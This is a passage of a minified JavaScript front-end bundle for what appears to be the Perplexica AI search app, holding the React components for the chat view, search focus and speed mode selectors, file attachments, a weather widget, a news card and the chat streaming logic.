text-xl",children:"Answer"})]}),(0,s.jsx)(O.Ay,{className:(0,c.cn)("prose prose-h1:mb-3 prose-h2:mb-2 prose-h2:mt-6 prose-h2:font-[800] prose-h3:mt-4 prose-h3:mb-1.5 prose-h3:font-[600] dark:prose-invert prose-p:leading-relaxed prose-pre:p-0 font-[400]","max-w-none break-words text-black dark:text-white"),options:{overrides:{think:{component:ee}}},children:m}),i&&o?null:(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between w-full text-black dark:text-white py-4 -mx-2",children:[(0,s.jsx)("div",{className:"flex flex-row items-center space-x-1",children:(0,s.jsx)(B,{rewrite:d,messageId:t.messageId})}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1",children:[(0,s.jsx)(L,{initialMessage:t.content,message:t}),(0,s.jsx)("button",{onClick:()=>{"started"===f?b():p()},className:"p-2 text-black/70 dark:text-white/70 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary transition duration-200 hover:text-black dark:hover:text-white",children:"started"===f?(0,s.jsx)(M.A,{size:18}):(0,s.jsx)(T.A,{size:18})})]})]}),o&&t.suggestions&&t.suggestions.length>0&&"assistant"===t.role&&!i&&(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)("div",{className:"h-px w-full bg-light-secondary dark:bg-dark-secondary"}),(0,s.jsxs)("div",{className:"flex flex-col space-y-3 text-black dark:text-white",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-2 mt-4",children:[(0,s.jsx)(D.A,{}),(0,s.jsx)("h3",{className:"text-xl font-medium",children:"Related"})]}),(0,s.jsx)("div",{className:"flex flex-col space-y-3",children:t.suggestions.map((e,t)=>(0,s.jsxs)("div",{className:"flex flex-col space-y-3 text-sm",children:[(0,s.jsx)("div",{className:"h-px w-full bg-light-secondary dark:bg-dark-secondary"}),(0,s.jsxs)("div",{onClick:()=>{x(e)},className:"cursor-pointer flex flex-row justify-between font-medium space-x-2 items-center",children:[(0,s.jsx)("p",{className:"transition duration-200 hover:text-[#24A0ED]",children:e}),(0,s.jsx)(S.A,{size:20,className:"text-[#24A0ED] flex-shrink-0"})]})]},t))})]})]})]})]}),(0,s.jsxs)("div",{className:"lg:sticky lg:top-20 flex flex-col items-center space-y-3 w-full lg:w-3/12 z-30 h-full pb-4",children:[(0,s.jsx)(H,{query:r[a-1].content,chatHistory:r.slice(0,a-1),messageId:t.messageId}),(0,s.jsx)(G,{chatHistory:r.slice(0,a-1),query:r[a-1].content,messageId:t.messageId})]})]})]})},ea=()=>(0,s.jsxs)("div",{className:"flex flex-col space-y-2 w-full lg:w-9/12 bg-light-primary dark:bg-dark-primary animate-pulse rounded-lg py-3",children:[(0,s.jsx)("div",{className:"h-2 rounded-full w-full bg-light-secondary dark:bg-dark-secondary"}),(0,s.jsx)("div",{className:"h-2 rounded-full w-9/12 bg-light-secondary dark:bg-dark-secondary"}),(0,s.jsx)("div",{className:"h-2 rounded-full w-10/12 bg-light-secondary dark:bg-dark-secondary"})]}),es=e=>{let{loading:t,messages:a,sendMessage:r,messageAppeared:i,rewrite:n,fileIds:o,setFileIds:d,files:c,setFiles:x}=e,[m,h]=(0,l.useState)(0),u=(0,l.useRef)(null),g=(0,l.useRef)(null);return(0,l.useEffect)(()=>{let e=()=>{u.current&&h(u.current.scrollWidth)};return e(),window.addEventListener("resize",e),()=>{window.removeEventListener("resize",e)}}),(0,l.useEffect)(()=>{var e;1===a.length&&(document.title="".concat(a[0].content.substring(0,30)," - Perplexica")),(null===(e=a[a.length-1])||void 0===e?void 0:e.role)=="user"&&(()=>{var e;null===(e=g.current)||void 0===e||e.scrollIntoView({behavior:"smooth"})})()},[a]),(0,s.jsxs)("div",{className:"flex flex-col space-y-6 pt-8 pb-44 lg:pb-32 sm:mx-4 md:mx-8",children:[a.map((e,i)=>{let o=i===a.length-1;return(0,s.jsxs)(l.Fragment,{children:[(0,s.jsx)(et,{message:e,messageIndex:i,history:a,loading:t,dividerRef:o?u:void 0,isLast:o,rewrite:n,sendMessage:r},i),!o&&"assistant"===e.role&&(0,s.jsx)("div",{className:"h-px w-full bg-light-secondary dark:bg-dark-secondary"})]},e.messageId)}),t&&!i&&(0,s.jsx)(ea,{}),(0,s.jsx)("div",{ref:g,className:"h-0"}),m>0&&(0,s.jsx)("div",{className:"bottom-24 lg:bottom-10 fixed z-40",style:{width:m},children:(0,s.jsx)(z,{loading:t,sendMessage:r,fileIds:o,setFileIds:d,files:c,setFiles:x})})]})};var el=a(381),er=a(92138),ei=a(34869),en=a(22310),eo=a(89917),ed=a(77535),ec=a(63645),ex=a(44821),em=a(14096);let eh=[{key:"webSearch",title:"All",description:"Searches across all of the internet",icon:(0,s.jsx)(ei.A,{size:20})},{key:"academicSearch",title:"Academic",description:"Search in published academic papers",icon:(0,s.jsx)(en.A,{size:20})},{key:"writingAssistant",title:"Writing",description:"Chat without searching the web",icon:(0,s.jsx)(eo.A,{size:16})},{key:"wolframAlphaSearch",title:"Wolfram Alpha",description:"Computational knowledge engine",icon:(0,s.jsx)(ed.A,{size:20})},{key:"youtubeSearch",title:"Youtube",description:"Search and watch videos",icon:(0,s.jsx)(ex.A,{className:"h-5 w-auto mr-0.5"})},{key:"redditSearch",title:"Reddit",description:"Search for discussions and opinions",icon:(0,s.jsx)(em.A,{className:"h-5 w-auto mr-0.5"})}],eu=e=>{var t,a;let{focusMode:r,setFocusMode:i}=e;return(0,s.jsxs)(m.AM,{className:"relative w-full max-w-[15rem] md:max-w-md lg:max-w-lg mt-[6.5px]",children:[(0,s.jsx)(m.ut,{type:"button",className:" text-black/50 dark:text-white/50 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary active:scale-95 transition duration-200 hover:text-black dark:hover:text-white",children:"webSearch"!==r?(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1",children:[null===(t=eh.find(e=>e.key===r))||void 0===t?void 0:t.icon,(0,s.jsx)("p",{className:"text-xs font-medium hidden lg:block",children:null===(a=eh.find(e=>e.key===r))||void 0===a?void 0:a.title}),(0,s.jsx)($.A,{size:20,className:"-translate-x-1"})]}):(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1",children:[(0,s.jsx)(ec.A,{size:20}),(0,s.jsx)("p",{className:"text-xs font-medium hidden lg:block",children:"Focus"})]})}),(0,s.jsx)(h.e,{as:l.Fragment,enter:"transition ease-out duration-150",enterFrom:"opacity-0 translate-y-1",enterTo:"opacity-100 translate-y-0",leave:"transition ease-in duration-150",leaveFrom:"opacity-100 translate-y-0",leaveTo:"opacity-0 translate-y-1",children:(0,s.jsx)(m.QT,{className:"absolute z-10 w-64 md:w-[500px] left-0",children:(0,s.jsx)("div",{className:"grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-2 bg-light-primary dark:bg-dark-primary border rounded-lg border-light-200 dark:border-dark-200 w-full p-4 max-h-[200px] md:max-h-none overflow-y-auto",children:eh.map((e,t)=>(0,s.jsxs)(m.ut,{onClick:()=>i(e.key),className:(0,c.cn)("p-2 rounded-lg flex flex-col items-start justify-start text-start space-y-2 duration-200 cursor-pointer transition",r===e.key?"bg-light-secondary dark:bg-dark-secondary":"hover:bg-light-secondary dark:hover:bg-dark-secondary"),children:[(0,s.jsxs)("div",{className:(0,c.cn)("flex flex-row items-center space-x-1",r===e.key?"text-[#24A0ED]":"text-black dark:text-white"),children:[e.icon,(0,s.jsx)("p",{className:"text-sm font-medium",children:e.title})]}),(0,s.jsx)("p",{className:"text-black/70 dark:text-white/70 text-xs",children:e.description})]},t))})})})]})};var eg=a(71539),ef=a(14711),ep=a(38564);let eb=[{key:"speed",title:"Speed",description:"Prioritize speed and get the quickest possible answer.",icon:(0,s.jsx)(eg.A,{size:20,className:"text-[#FF9800]"})},{key:"balanced",title:"Balanced",description:"Find the right balance between speed and accuracy",icon:(0,s.jsx)(ef.A,{size:20,className:"text-[#4CAF50]"})},{key:"quality",title:"Quality (Soon)",description:"Get the most thorough and accurate answer",icon:(0,s.jsx)(ep.A,{size:16,className:"text-[#2196F3] dark:text-[#BBDEFB] fill-[#BBDEFB] dark:fill-[#2196F3]"})}],ew=e=>{var t,a;let{optimizationMode:r,setOptimizationMode:i}=e;return(0,s.jsxs)(m.AM,{className:"relative w-full max-w-[15rem] md:max-w-md lg:max-w-lg",children:[(0,s.jsx)(m.ut,{type:"button",className:"p-2 text-black/50 dark:text-white/50 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary active:scale-95 transition duration-200 hover:text-black dark:hover:text-white",children:(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1",children:[null===(t=eb.find(e=>e.key===r))||void 0===t?void 0:t.icon,(0,s.jsx)("p",{className:"text-xs font-medium",children:null===(a=eb.find(e=>e.key===r))||void 0===a?void 0:a.title}),(0,s.jsx)($.A,{size:20})]})}),(0,s.jsx)(h.e,{as:l.Fragment,enter:"transition ease-out duration-150",enterFrom:"opacity-0 translate-y-1",enterTo:"opacity-100 translate-y-0",leave:"transition ease-in duration-150",leaveFrom:"opacity-100 translate-y-0",leaveTo:"opacity-0 translate-y-1",children:(0,s.jsx)(m.QT,{className:"absolute z-10 w-64 md:w-[250px] right-0",children:(0,s.jsx)("div",{className:"flex flex-col gap-2 bg-light-primary dark:bg-dark-primary border rounded-lg border-light-200 dark:border-dark-200 w-full p-4 max-h-[200px] md:max-h-none overflow-y-auto",children:eb.map((e,t)=>(0,s.jsxs)(m.ut,{onClick:()=>i(e.key),disabled:"quality"===e.key,className:(0,c.cn)("p-2 rounded-lg flex flex-col items-start justify-start text-start space-y-1 duration-200 cursor-pointer transition",r===e.key?"bg-light-secondary dark:bg-dark-secondary":"hover:bg-light-secondary dark:hover:bg-dark-secondary","quality"===e.key&&"opacity-50 cursor-not-allowed"),children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1 text-black dark:text-white",children:[e.icon,(0,s.jsx)("p",{className:"text-sm font-medium",children:e.title})]}),(0,s.jsx)("p",{className:"text-black/70 dark:text-white/70 text-xs",children:e.description})]},t))})})})]})},ev=e=>{let{fileIds:t,setFileIds:a,showText:r,files:i,setFiles:n}=e,[o,d]=(0,l.useState)(!1),x=(0,l.useRef)(),u=async e=>{d(!0);let s=new FormData;for(let t=0;te.fileId)]),d(!1)};return o?(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between space-x-1",children:[(0,s.jsx)(y.A,{size:18,className:"text-sky-400 animate-spin"}),(0,s.jsx)("p",{className:"text-sky-400 inline whitespace-nowrap text-xs font-medium",children:"Uploading.."})]}):i.length>0?(0,s.jsxs)(m.AM,{className:"relative w-full max-w-[15rem] md:max-w-md lg:max-w-lg",children:[(0,s.jsxs)(m.ut,{type:"button",className:(0,c.cn)("flex flex-row items-center justify-between space-x-1 p-2 text-black/50 dark:text-white/50 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary active:scale-95 transition duration-200 hover:text-black dark:hover:text-white",i.length>0?"-ml-2 lg:-ml-3":""),children:[i.length>1&&(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(N.A,{size:19,className:"text-sky-400"}),(0,s.jsxs)("p",{className:"text-sky-400 inline whitespace-nowrap text-xs font-medium",children:[i.length," files"]})]}),1===i.length&&(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(N.A,{size:18,className:"text-sky-400"}),(0,s.jsx)("p",{className:"text-sky-400 text-xs font-medium",children:i[0].fileName.length>10?i[0].fileName.replace(/\.\w+$/,"").substring(0,3)+"..."+i[0].fileExtension:i[0].fileName})]})]}),(0,s.jsx)(h.e,{as:l.Fragment,enter:"transition ease-out duration-150",enterFrom:"opacity-0 translate-y-1",enterTo:"opacity-100 translate-y-0",leave:"transition ease-in duration-150",leaveFrom:"opacity-100 translate-y-0",leaveTo:"opacity-0 translate-y-1",children:(0,s.jsx)(m.QT,{className:"absolute z-10 w-64 md:w-[350px] right-0",children:(0,s.jsxs)("div",{className:"bg-light-primary dark:bg-dark-primary border rounded-md border-light-200 dark:border-dark-200 w-full max-h-[200px] md:max-h-none overflow-y-auto flex flex-col",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between px-3 py-2",children:[(0,s.jsx)("h4",{className:"text-black dark:text-white font-medium text-sm",children:"Attached files"}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-4",children:[(0,s.jsxs)("button",{type:"button",onClick:()=>x.current.click(),className:"flex flex-row items-center space-x-1 text-black/70 dark:text-white/70 hover:text-black hover:dark:text-white transition duration-200",children:[(0,s.jsx)("input",{type:"file",onChange:u,ref:x,accept:".pdf,.docx,.txt",multiple:!0,hidden:!0}),(0,s.jsx)(S.A,{size:18}),(0,s.jsx)("p",{className:"text-xs",children:"Add"})]}),(0,s.jsxs)("button",{onClick:()=>{n([]),a([])},className:"flex flex-row items-center space-x-1 text-black/70 dark:text-white/70 hover:text-black hover:dark:text-white transition duration-200",children:[(0,s.jsx)(A.A,{size:14}),(0,s.jsx)("p",{className:"text-xs",children:"Clear"})]})]})]}),(0,s.jsx)("div",{className:"h-[0.5px] mx-2 bg-white/10"}),(0,s.jsx)("div",{className:"flex flex-col items-center",children:i.map((e,t)=>(0,s.jsxs)("div",{className:"flex flex-row items-center justify-start w-full space-x-3 p-3",children:[(0,s.jsx)("div",{className:"bg-dark-100 flex items-center justify-center w-10 h-10 rounded-md",children:(0,s.jsx)(N.A,{size:16,className:"text-white/70"})}),(0,s.jsx)("p",{className:"text-black/70 dark:text-white/70 text-sm",children:e.fileName.length>25?e.fileName.replace(/\.\w+$/,"").substring(0,25)+"..."+e.fileExtension:e.fileName})]},t))})]})})})]}):(0,s.jsxs)("button",{type:"button",onClick:()=>x.current.click(),className:(0,c.cn)("flex flex-row items-center space-x-1 text-black/50 dark:text-white/50 rounded-xl hover:bg-light-secondary dark:hover:bg-dark-secondary transition duration-200 hover:text-black dark:hover:text-white",r?"":"p-2"),children:[(0,s.jsx)("input",{type:"file",onChange:u,ref:x,accept:".pdf,.docx,.txt",multiple:!0,hidden:!0}),(0,s.jsx)(I.A,{size:r?18:void 0}),r&&(0,s.jsx)("p",{className:"text-xs font-medium pl-[1px]",children:"Attach"})]})},ek=e=>{let{sendMessage:t,focusMode:a,setFocusMode:r,optimizationMode:i,setOptimizationMode:n,fileIds:o,setFileIds:d,files:c,setFiles:x}=e,[m,h]=(0,l.useState)(!1),[u,g]=(0,l.useState)(""),f=(0,l.useRef)(null);return(0,l.useEffect)(()=>{var e;let t=e=>{let t=document.activeElement,a=(null==t?void 0:t.tagName)==="INPUT"||(null==t?void 0:t.tagName)==="TEXTAREA"||(null==t?void 0:t.hasAttribute("contenteditable"));if("/"===e.key&&!a){var s;e.preventDefault(),null===(s=f.current)||void 0===s||s.focus()}};return document.addEventListener("keydown",t),null===(e=f.current)||void 0===e||e.focus(),()=>{document.removeEventListener("keydown",t)}},[]),(0,s.jsx)("form",{onSubmit:e=>{e.preventDefault(),t(u),g("")},onKeyDown:e=>{"Enter"!==e.key||e.shiftKey||(e.preventDefault(),t(u),g(""))},className:"w-full",children:(0,s.jsxs)("div",{className:"flex flex-col bg-light-secondary dark:bg-dark-secondary px-5 pt-5 pb-2 rounded-lg w-full border border-light-200 dark:border-dark-200",children:[(0,s.jsx)(v.A,{ref:f,value:u,onChange:e=>g(e.target.value),minRows:2,className:"bg-transparent placeholder:text-black/50 dark:placeholder:text-white/50 text-sm text-black dark:text-white resize-none focus:outline-none w-full max-h-24 lg:max-h-36 xl:max-h-48",placeholder:"Ask anything..."}),(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between mt-4",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-2 lg:space-x-4",children:[(0,s.jsx)(eu,{focusMode:a,setFocusMode:r}),(0,s.jsx)(ev,{fileIds:o,setFileIds:d,files:c,setFiles:x,showText:!0})]}),(0,s.jsxs)("div",{className:"flex flex-row items-center space-x-1 sm:space-x-4",children:[(0,s.jsx)(ew,{optimizationMode:i,setOptimizationMode:n}),(0,s.jsx)("button",{disabled:0===u.trim().length,className:"bg-[#24A0ED] text-white disabled:text-black/50 dark:disabled:text-white/50 disabled:bg-[#e0e0dc] dark:disabled:bg-[#ececec21] hover:bg-opacity-85 transition duration-100 rounded-full p-2",children:(0,s.jsx)(er.A,{className:"bg-background",size:17})})]})]})]})})};var ej=a(6874),ey=a.n(ej),eN=a(7574);let eS=()=>{let[e,t]=(0,l.useState)({temperature:0,condition:"",location:"",humidity:0,windSpeed:0,icon:""}),[a,r]=(0,l.useState)(!0);return(0,l.useEffect)(()=>{let e=async()=>{let e=await fetch("https://ipwhois.app/json/"),t=await e.json();return{latitude:t.latitude,longitude:t.longitude,city:t.city}};(async t=>{if(navigator.geolocation){let a=await navigator.permissions.query({name:"geolocation"});"granted"===a.state?navigator.geolocation.getCurrentPosition(async e=>{let a=await fetch("https://api-bdc.io/data/reverse-geocode-client?latitude=".concat(e.coords.latitude,"&longitude=").concat(e.coords.longitude,"&localityLanguage=en"),{method:"GET",headers:{"Content-Type":"application/json"}}),s=await a.json();t({latitude:e.coords.latitude,longitude:e.coords.longitude,city:s.locality})}):"prompt"===a.state?(t(await e()),navigator.geolocation.getCurrentPosition(e=>{})):"denied"===a.state&&t(await e())}else t(await e())})(async e=>{let a=await fetch("/api/weather",{method:"POST",body:JSON.stringify({lat:e.latitude,lng:e.longitude})}),s=await a.json();if(200!==a.status){console.error("Error fetching weather data"),r(!1);return}t({temperature:s.temperature,condition:s.condition,location:e.city,humidity:s.humidity,windSpeed:s.windSpeed,icon:s.icon}),r(!1)})},[]),(0,s.jsx)("div",{className:"bg-light-secondary dark:bg-dark-secondary rounded-xl border border-light-200 dark:border-dark-200 shadow-sm flex flex-row items-center w-full h-24 min-h-[96px] max-h-[96px] px-3 py-2 gap-3",children:a?(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)("div",{className:"flex flex-col items-center justify-center w-16 min-w-16 max-w-16 h-full animate-pulse",children:[(0,s.jsx)("div",{className:"h-10 w-10 rounded-full bg-light-200 dark:bg-dark-200 mb-2"}),(0,s.jsx)("div",{className:"h-4 w-10 rounded bg-light-200 dark:bg-dark-200"})]}),(0,s.jsxs)("div",{className:"flex flex-col justify-between flex-1 h-full py-1 animate-pulse",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between",children:[(0,s.jsx)("div",{className:"h-3 w-20 rounded bg-light-200 dark:bg-dark-200"}),(0,s.jsx)("div",{className:"h-3 w-12 rounded bg-light-200 dark:bg-dark-200"})]}),(0,s.jsx)("div",{className:"h-3 w-16 rounded bg-light-200 dark:bg-dark-200 mt-1"}),(0,s.jsxs)("div",{className:"flex flex-row justify-between w-full mt-auto pt-1 border-t border-light-200 dark:border-dark-200",children:[(0,s.jsx)("div",{className:"h-3 w-16 rounded bg-light-200 dark:bg-dark-200"}),(0,s.jsx)("div",{className:"h-3 w-8 rounded bg-light-200 dark:bg-dark-200"})]})]})]}):(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)("div",{className:"flex flex-col items-center justify-center w-16 min-w-16 max-w-16 h-full",children:[(0,s.jsx)("img",{src:"/weather-ico/".concat(e.icon,".svg"),alt:e.condition,className:"h-10 w-auto"}),(0,s.jsxs)("span",{className:"text-base font-semibold text-black dark:text-white",children:[e.temperature,"\xb0C"]})]}),(0,s.jsxs)("div",{className:"flex flex-col justify-between flex-1 h-full py-1",children:[(0,s.jsxs)("div",{className:"flex flex-row items-center justify-between",children:[(0,s.jsx)("span",{className:"text-xs font-medium text-black dark:text-white",children:e.location}),(0,s.jsxs)("span",{className:"flex items-center text-xs text-black/60 dark:text-white/60",children:[(0,s.jsx)(eN.A,{className:"w-3 h-3 mr-1"}),e.windSpeed," km/h"]})]}),(0,s.jsx)("span",{className:"text-xs text-black/60 dark:text-white/60 mt-1",children:e.condition}),(0,s.jsxs)("div",{className:"flex flex-row justify-between w-full mt-auto pt-1 border-t border-light-200 dark:border-dark-200 text-xs text-black/60 dark:text-white/60",children:[(0,s.jsxs)("span",{children:["Humidity: ",e.humidity,"%"]}),(0,s.jsx)("span",{children:"Now"})]})]})]})})},eA=()=>{let[e,t]=(0,l.useState)(null),[a,r]=(0,l.useState)(!0),[i,n]=(0,l.useState)(!1);return(0,l.useEffect)(()=>{fetch("/api/discover?mode=preview").then(e=>e.json()).then(e=>{let a=(e.blogs||[]).filter(e=>e.thumbnail);t(a[Math.floor(Math.random()*a.length)]),r(!1)}).catch(()=>{n(!0),r(!1)})},[]),(0,s.jsx)("div",{className:"bg-light-secondary dark:bg-dark-secondary rounded-xl border border-light-200 dark:border-dark-200 shadow-sm flex flex-row items-center w-full h-24 min-h-[96px] max-h-[96px] px-3 py-2 gap-3 overflow-hidden",children:a?(0,s.jsx)(s.Fragment,{children:(0,s.jsxs)("div",{className:"animate-pulse flex flex-row items-center w-full h-full",children:[(0,s.jsx)("div",{className:"rounded-lg w-16 min-w-16 max-w-16 h-16 min-h-16 max-h-16 bg-light-200 dark:bg-dark-200 mr-3"}),(0,s.jsxs)("div",{className:"flex flex-col justify-center flex-1 h-full w-0 gap-2",children:[(0,s.jsx)("div",{className:"h-4 w-3/4 rounded bg-light-200 dark:bg-dark-200"}),(0,s.jsx)("div",{className:"h-3 w-1/2 rounded bg-light-200 dark:bg-dark-200"})]})]})}):i?(0,s.jsx)("div",{className:"w-full text-xs text-red-400",children:"Could not load news."}):e?(0,s.jsxs)("a",{href:"/?q=Summary: ".concat(e.url),className:"flex flex-row items-center w-full h-full group",children:[(0,s.jsx)("img",{className:"object-cover rounded-lg w-16 min-w-16 max-w-16 h-16 min-h-16 max-h-16 border border-light-200 dark:border-dark-200 bg-light-200 dark:bg-dark-200 group-hover:opacity-90 transition",src:new URL(e.thumbnail).origin+new URL(e.thumbnail).pathname+"?id=".concat(new URL(e.thumbnail).searchParams.get("id")),alt:e.title}),(0,s.jsxs)("div",{className:"flex flex-col justify-center flex-1 h-full pl-3 w-0",children:[(0,s.jsx)("div",{className:"font-bold text-xs text-black dark:text-white leading-tight truncate overflow-hidden whitespace-nowrap",children:e.title}),(0,s.jsx)("p",{className:"text-black/70 dark:text-white/70 text-xs leading-snug truncate overflow-hidden whitespace-nowrap",children:e.content})]})]}):null})},eI=e=>{let{sendMessage:t,focusMode:a,setFocusMode:l,optimizationMode:r,setOptimizationMode:i,fileIds:n,setFileIds:o,files:d,setFiles:c}=e;return(0,s.jsxs)("div",{className:"relative",children:[(0,s.jsx)("div",{className:"absolute w-full flex flex-row items-center justify-end mr-5 mt-5",children:(0,s.jsx)(ey(),{href:"/settings",children:(0,s.jsx)(el.A,{className:"cursor-pointer lg:hidden"})})}),(0,s.jsxs)("div",{className:"flex flex-col items-center justify-center min-h-screen max-w-screen-sm mx-auto p-2 space-y-4",children:[(0,s.jsxs)("div",{className:"flex flex-col items-center justify-center w-full space-y-8",children:[(0,s.jsx)("h2",{className:"text-black/70 dark:text-white/70 text-3xl font-medium -mt-8",children:"Research begins here."}),(0,s.jsx)(ek,{sendMessage:t,focusMode:a,setFocusMode:l,optimizationMode:r,setOptimizationMode:i,fileIds:n,setFileIds:o,files:d,setFiles:c})]}),(0,s.jsxs)("div",{className:"flex flex-col w-full gap-4 mt-2 sm:flex-row sm:justify-center",children:[(0,s.jsx)("div",{className:"flex-1 w-full",children:(0,s.jsx)(eS,{})}),(0,s.jsx)("div",{className:"flex-1 w-full",children:(0,s.jsx)(eA,{})})]})]})]})};var eC=a(8777),ez=a.n(eC),eF=a(56671),eE=a(35695);let eM=async e=>{let t=localStorage.getItem("chatModel"),a=localStorage.getItem("chatModelProvider"),s=localStorage.getItem("openAIApiKey"),l=localStorage.getItem("openAIBaseURL"),r=await fetch("/api/suggestions",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({chatHistory:e,chatModel:{provider:a,model:t,..."custom_openai"===a&&{customOpenAIKey:s,customOpenAIBaseURL:l}}})});return(await r.json()).suggestions};var eT=a(27755),eD=a.n(eT);let eO=async(e,t,a,s)=>{try{let l=localStorage.getItem("chatModel"),r=localStorage.getItem("chatModelProvider"),i=localStorage.getItem("embeddingModel"),n=localStorage.getItem("embeddingModelProvider"),o=localStorage.getItem("autoImageSearch"),d=localStorage.getItem("autoVideoSearch");o||localStorage.setItem("autoImageSearch","true"),d||localStorage.setItem("autoVideoSearch","false");let c=await fetch("/api/models",{headers:{"Content-Type":"application/json"}}).then(async e=>{if(!e.ok)throw Error("Failed to fetch models: ".concat(e.status," ").concat(e.statusText));return e.json()});if(l&&r&&i&&n){let e=c.chatModelProviders,t=c.embeddingModelProviders;if(Object.keys(e).length>0&&(!e[r]||0===Object.keys(e[r]).length)){let t=Object.keys(e);r=t.find(t=>Object.keys(e[t]).length>0)||t[0],localStorage.setItem("chatModelProvider",r)}if(r&&!e[r][l]){if("custom_openai"===r&&0===Object.keys(e[r]).length)return eF.o.error("Looks like you haven't configured any chat model providers. Please configure them from the settings page or the config file."),s(!0);l=Object.keys(e[Object.keys(e[r]).length>0?r:Object.keys(e)[0]])[0],localStorage.setItem("chatModel",l)}Object.keys(t).length>0&&!t[n]&&(n=Object.keys(t)[0],localStorage.setItem("embeddingModelProvider",n)),n&&!t[n][i]&&(i=Object.keys(t[n])[0],localStorage.setItem("embeddingModel",i))}else{if(!l||!r){let e=c.chatModelProviders,t=Object.keys(e);if(!e||0===t.length)return eF.o.error("No chat models available");if(r=t.find(t=>Object.keys(e[t]).length>0)||t[0],"custom_openai"===r&&0===Object.keys(e[r]).length)return eF.o.error("Looks like you haven't configured any chat model providers. Please configure them from the settings page or the config file."),s(!0);l=Object.keys(e[r])[0]}if(!i||!n){let e=c.embeddingModelProviders;if(!e||0===Object.keys(e).length)return eF.o.error("No embedding models available");n=Object.keys(e)[0],i=Object.keys(e[n])[0]}localStorage.setItem("chatModel",l),localStorage.setItem("chatModelProvider",r),localStorage.setItem("embeddingModel",i),localStorage.setItem("embeddingModelProvider",n)}e({name:l,provider:r}),t({name:i,provider:n}),a(!0)}catch(e){console.error("An error occurred while checking the configuration:",e),a(!1),s(!0)}},eP=async(e,t,a,s,l,r,i,n)=>{let o=await fetch("/api/chats/".concat(e),{method:"GET",headers:{"Content-Type":"application/json"}});if(404===o.status){r(!0),a(!0);return}let d=await o.json(),c=d.messages.map(e=>({...e,...JSON.parse(e.metadata)}));t(c);let x=c.map(e=>[e.role,e.content]);console.debug(new Date,"app:messages_loaded"),document.title=c[0].content;let m=d.chat.files.map(e=>({fileName:e.name,fileExtension:e.name.split(".").pop(),fileId:e.fileId}));i(m),n(m.map(e=>e.fileId)),s(x),l(d.chat.focusMode),a(!0)},e_=e=>{let{id:t}=e,a=(0,eE.useSearchParams)().get("q"),[r,i]=(0,l.useState)(t),[n,o]=(0,l.useState)(!1),[d,c]=(0,l.useState)({name:"",provider:""}),[x,m]=(0,l.useState)({name:"",provider:""}),[h,u]=(0,l.useState)(!1),[g,f]=(0,l.useState)(!1),[p,w]=(0,l.useState)(!1);(0,l.useEffect)(()=>{eO(c,m,u,f)},[]);let[v,k]=(0,l.useState)(!1),[j,y]=(0,l.useState)(!1),[N,S]=(0,l.useState)([]),[A,I]=(0,l.useState)([]),[C,z]=(0,l.useState)([]),[F,E]=(0,l.useState)([]),[M,T]=(0,l.useState)("webSearch"),[D,O]=(0,l.useState)("speed"),[P,_]=(0,l.useState)(!1),[L,R]=(0,l.useState)(!1);(0,l.useEffect)(()=>{!r||n||P||0!==A.length?r||(o(!0),_(!0),i(ez().randomBytes(20).toString("hex"))):eP(r,I,_,S,T,R,z,E)},[]);let B=(0,l.useRef)([]);(0,l.useEffect)(()=>{B.current=A},[A]),(0,l.useEffect)(()=>{P&&h?(w(!0),console.debug(new Date,"app:ready")):w(!1)},[P,h]);let U=async(e,t)=>{var a;let s;if(v)return;if(!h){eF.o.error("Cannot send message before the configuration is ready");return}k(!0),y(!1);let l="",i=!1;t=null!=t?t:ez().randomBytes(7).toString("hex"),I(a=>[...a,{content:e,messageId:t,chatId:r,role:"user",createdAt:new Date}]);let n=async t=>{if("error"===t.type){eF.o.error(t.data),k(!1);return}if("sources"===t.type&&(s=t.data,i||(I(e=>[...e,{content:"",messageId:t.messageId,chatId:r,role:"assistant",sources:s,createdAt:new Date}]),i=!0),y(!0)),"message"===t.type&&(i||(I(e=>[...e,{content:t.data,messageId:t.messageId,chatId:r,role:"assistant",sources:s,createdAt:new Date}]),i=!0),I(e=>e.map(e=>e.messageId===t.messageId?{...e,content:e.content+t.data}:e)),l+=t.data,y(!0)),"messageEnd"===t.type){var a,n;S(t=>[...t,["human",e],["assistant",l]]),k(!1);let t=B.current[B.current.length-1],s=localStorage.getItem("autoImageSearch"),r=localStorage.getItem("autoVideoSearch");if("true"===s&&(null===(a=document.getElementById("search-images-".concat(t.messageId)))||void 0===a||a.click()),"true"===r&&(null===(n=document.getElementById("search-videos-".concat(t.messageId)))||void 0===n||n.click()),"assistant"===t.role&&t.sources&&t.sources.length>0&&!t.suggestions){let e=await eM(B.current);I(a=>a.map(a=>a.messageId===t.messageId?{...a,suggestions:e}:a))}}},o=await fetch("/api/chat",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:e,message:{messageId:t,chatId:r,content:e},chatId:r,files:F,focusMode:M,optimizationMode:D,history:N,chatModel:{name:d.name,provider:d.provider},embeddingModel:{name:x.name,provider:x.provider},systemInstructions:localStorage.getItem("systemInstructions")})});if(!o.body)throw Error("No response body");let c=null===(a=o.body)||void 0===a?void 0:a.getReader(),m=new TextDecoder("utf-8"),u="";for(;;){let{value:e,done:t}=await c.read();if(t)break;u+=m.decode(e,{stream:!0});try{for(let e of u.split("\n")){if(!e.trim())continue;let 